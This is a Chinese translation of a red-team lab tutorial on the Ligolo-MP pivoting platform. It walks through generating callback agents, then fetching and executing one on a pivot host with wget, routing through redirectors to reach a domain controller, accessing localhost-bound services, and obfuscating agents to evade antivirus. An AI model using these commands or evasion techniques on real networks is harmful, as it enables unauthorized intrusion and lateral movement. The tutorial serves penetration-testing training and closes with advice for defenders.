导语:在现代渗透测试中,拿到一台外网机器往往只是起点——最敏感的目标都在隔离内网里。Ligolo-MP这款多人协作型Pivoting平台,让红队可以轻松穿越多个网段、直捣域控。本文从零讲透它的安装、操作和高级技巧。
一、简介
Ligolo-MP是一个”多人版(Multiplayer)”Pivoting平台,在Ligolo-ng的基础上进化而来,主打协作、自动化和大规模作业。
传统工具是一个代理只能一个人用,Ligolo-MP引入了中央服务器,对外暴露两个接口:一个给Agent(已拿下的主机),一个给Operator(红队成员)。多个操作者可以同时连入同一基础设施,共享隧道和路由。工具自动管理TUN设备,不需要在每台操作者机器上手动配置tun/tap接口。此外还提供SOCKS和HTTP代理能力,支持连接池和TCP并发数的隧道级限制,并带有一个类Unix curses风格的GUI,展示会话、接口、路由和重定向器,大幅简化多跳Pivoting操作。
二、实验环境与网络拓扑
实验环境由四台虚拟机组成,分布在三个VMware虚拟网络(vmnet)上。

三、安装Ligolo-MP
在Kali Linux上安装Ligolo-MP:
sudo apt install ligolo-mp
安装完成后,用以下命令启动ligolo-server:
sudo ligolo-mp
按回车以管理员身份登录,拥有admin角色可以对所有会话、路由和重定向器进行完全控制。
四、启动Ligolo-MP代理服务器
按回车进入ligolo-mp界面。
标准ligolo-mp界面由5个区域构成:

- SERVER:显示操作者和Agent监听器详情,确认活动控制及回调端口
- SESSIONS:列出所有活动的Agent连接,包括状态、中继状态和时间戳
- INTERFACES:展示可用的网络接口及其关联的IP地址
- ROUTES:定义通过Agent会话建立的Pivoting路径和网络路由
- REDIRECTORS:管理源和目标端点之间的流量转发规则
- LOG:提供实时带时间戳的事件日志
基本控制命令:
- Ctrl-A:管理员功能
- Ctrl-N:生成Agent二进制文件
- Ctrl-T:路由追踪
- Tab:切换面板焦点
- Ctrl-Q:退出
五、单层Pivoting:进入第一个内网(192.168.234.0/24)
步骤1 — 生成Agent二进制文件
按Ctrl+N生成Agent。

- Save to:生成的Agent二进制文件保存的本地路径
- Servers:定义Agent回调的地址和端口(填入ligolo-mp运行的服务器地址,这里填Kali的IP)
- Proxy:是否通过指定代理服务器路由Agent流量(按需填写)
- Ignore env proxy:绕过系统代理设置,直接连接
- OS:选择Agent二进制文件的目标操作系统
- Arch:选择生成的CPU架构(如amd64)
- Obfuscate:是否对Agent进行基础混淆以实现免杀
填写完毕后点击submit生成Agent二进制文件。
步骤2 — 将Agent传输到第一台Pivot主机(Debian机器)
在Kali机器上启动HTTP服务:
python3 -m http.server 80
通过SSH连接Debian机器,下载Agent并赋予执行权限:
ssh simba@192.168.159.140
wget http://192.168.159.128/reverse
chmod +x reverse
./reverse

可以看到Agent成功回调到ligolo-mp服务器的11601端口,Debian机器(simba)已连接。
步骤3 — 添加路由
进入SESSIONS,选中对应会话后回车,选择”Add Route”。

- CIDR:目标网段(CIDR格式),这里填
192.168.234.0/24以访问该子网 - Priority:路由优先级,数值越低优先级越高
- Loopback:启用后允许攻击者(Kali)通过隧道与Pivot主机本地的127.0.0.1服务交互
步骤4 — 启动中继
在SESSIONS中选中对应会话,选择”Start relay”。

路由配置正确且已激活。
步骤5 — 验证连通性
对Win10机器(192.168.234.101)执行ping和nmap:
ping 192.168.234.101
nmap 192.168.234.101
单层Pivoting完成,以simba(Debian)为Pivot,攻击者可以与192.168.234.0/24子网进行交互。
六、双层Pivoting
Win10已可通过隧道访问,接下来目标是在Win10上部署Ligolo-mp Agent,建立第二跳,进入192.168.188.0/24子网(域控制器所在网段)。但Win10无法直接访问Kali的IP(192.168.159.128),因此第二个Agent必须通过现有隧道连接——这里就要用到端口重定向器(Port Redirector)。
Ligolo-MP中的重定向器本质上是一个TCP端口转发规则:让Agent主机上的某个端口监听连接,并将接收到的流量通过隧道转发到指定目标。这里的重定向器在Debian(simba)的vmnet8接口(192.168.234.140)的4444端口监听,把所有流量通过隧道转发到Kali的Ligolo-mp监听端口11601。这样Win10(可以访问Debian的192.168.234.140)就能间接连接到Kali的Ligolo-MP服务器。
步骤1:设置端口重定向器
在SESSIONS中选中simba会话,选择”Add redirector”。

- From:Pivot机器(Simba)上接收连接的监听地址和端口
- To:流量转发目标地址和端口,填入ligolo服务器IP和端口
- Protocol:传输协议(如TCP)
所有4444端口接收的流量都会通过现有的TLS隧道转发到ligolo-mp服务器。
逻辑链路如下:Win10上的Agent编译时填入回调地址192.168.234.140:4444(Debian的vmnet8 IP,端口4444)。Win10运行Agent后,连接到Debian:4444。Debian上的Ligolo-MP重定向器捕获这个连接,通过隧道转发到Kali:11601。Kali上的代理收到新的Agent连接,创建新会话——就像Win10直接连接一样。
步骤2:生成第二层Agent二进制文件

与之前步骤相同,这次为Win10(WKS-01)生成Agent,Server地址填写Debian机器上的重定向器地址192.168.234.140:4444。
完整链路:Win10 → Debian:4444 → 隧道 → Kali:11601 → 新建Agent会话
步骤3:将Agent传输到Win10机器
通过rdesktop连接到Win10:
rdesktop 192.168.234.101 -r disk:share=/home/kali/pivot

攻击者获得Win10主机的交互GUI访问权限,并通过现有Pivot隧道向192.168.234.0/24子网传输Ligolo-MP Agent。
登录后访问已挂载的共享文件夹,将Agent文件复制到桌面并执行:
cd Desktop
ls
./agent.exe
Ligolo-MP中出现了第二个会话,Windows 10主机WKS-01与已有的Debian pivot simba并列显示,新会话已连接。
步骤4 — 添加路由(192.168.188.0/24)
与之前Debian(simba)会话的操作完全相同,选中WKS-01会话,打开上下文菜单,选择Add route,指定内网CIDR为192.168.188.0/24。
步骤5 — 启动中继
进入Windows 10(WKS-01)会话,选择”Start Relay”。

至此,攻击者(Kali)获得了三个子网的透明访问权:本地网络(192.168.159.0/24)、通过Debian(simba)隧道的192.168.234.0/24,以及通过Win10(WKS-01)隧道的192.168.188.0/24。域控制器192.168.188.100现在可以直接从Kali使用标准网络工具访问。
步骤6 — 验证连通性
对域控制器(192.168.188.100)执行ping和nmap:
ping 192.168.188.100
nmap 192.168.188.100
七、高级技巧:环回路由访问Pivot主机本地服务
环回路由功能允许攻击者访问绑定到Pivot机器127.0.0.1的本地服务——通过隧道将这些流量转发出来,让攻击者机器(Kali)能够与这些不暴露的内部服务交互。
实验环境
本节以Debian pivot主机(simba)上安装配置的Apache2 Web服务器为例,Apache2只监听环回接口(127.0.0.1),模拟真实场景中通过绑定localhost来加固的内部服务。
步骤1 — 在Debian(simba)上安装Apache2并检查状态
sudo apt install apache2
sudo systemctl status apache2
步骤2 — 将Apache2限制为仅监听localhost
编辑Apache2端口配置文件:
sudo nano /etc/apache2/ports.conf
确保Listen指令指向127.0.0.1:80,将Web服务器限制为仅接受本地连接。
同样编辑/etc/apache2/sites-available/000-default.conf,将VirtualHost指令设置为127.0.0.1:80,使虚拟主机仅在本地可访问。
重启Apache服务:
sudo systemctl restart apache2
步骤3 — 从Kali检查连通性
从Kali无法直接访问Apache服务,浏览器访问http://192.168.234.140无响应。
漏洞利用
按前述步骤配置单层Pivoting,确保连接配置正确。
步骤1 — 添加环回路由
在SESSIONS中选中对应会话,选择”Add route”。

在CIDR字段输入Pivot机器IP:192.168.234.140/32。/32前缀是必需的——指定单个主机路由而非子网。
Loopback复选框标记为X,表示已启用——这是激活环回行为的关键标志。
当Ligolo-MP处理匹配此路由的数据包时,不再通过Agent的网络接口转发,而是重写目标地址并交付给Agent的环回接口(127.0.0.1)。从Debian上的Apache2角度看,这些连接似乎是本地发起的——满足了127.0.0.1绑定限制。
步骤2 — 验证连通性
Apache服务现在可以从Kali访问了。浏览器打开http://192.168.234.140,Kali上的Firefox显示了Apache2 Debian默认页面。
攻击者可以通过环回功能访问Pivot机器上绑定localhost的内部服务。
八、Agent混淆
最后一个演示的技术是编译时Agent混淆,用于增强Payload免杀能力。在Agent生成时启用Obfuscate选项,Ligolo-MP会在编译前对源码进行转换——修改函数名、变量名和字符串常量,大幅改变二进制签名,同时不影响运行时行为。
这样Agent可以绕过基于特征码的检测机制(如Windows Defender),否则标准Agent二进制文件会被标记并清除,大幅提高在受保护环境中成功部署的概率。
九、总结
Ligolo-MP证明了网络漫游不必复杂。凭借其多人架构、自动路由、环回支持和Agent混淆能力,红队可以最小阻力穿越深度隔离的网络。本指南中最大的推动因素并非软件漏洞,而是架构弱点——差的内网划分、缺失的出口过滤和不受控的横向移动。
对防御者而言,核心结论很简单:边界安全做得再好,内部管控不到位,等于没做。
出处:本文译自Hacking Articles,原文地址:https://www.hackingarticles.in/network-pivoting-using-ligolo-mp-complete-guide/
版权声明:本文由华盟网原创发布,保留所有权利。














暂无评论内容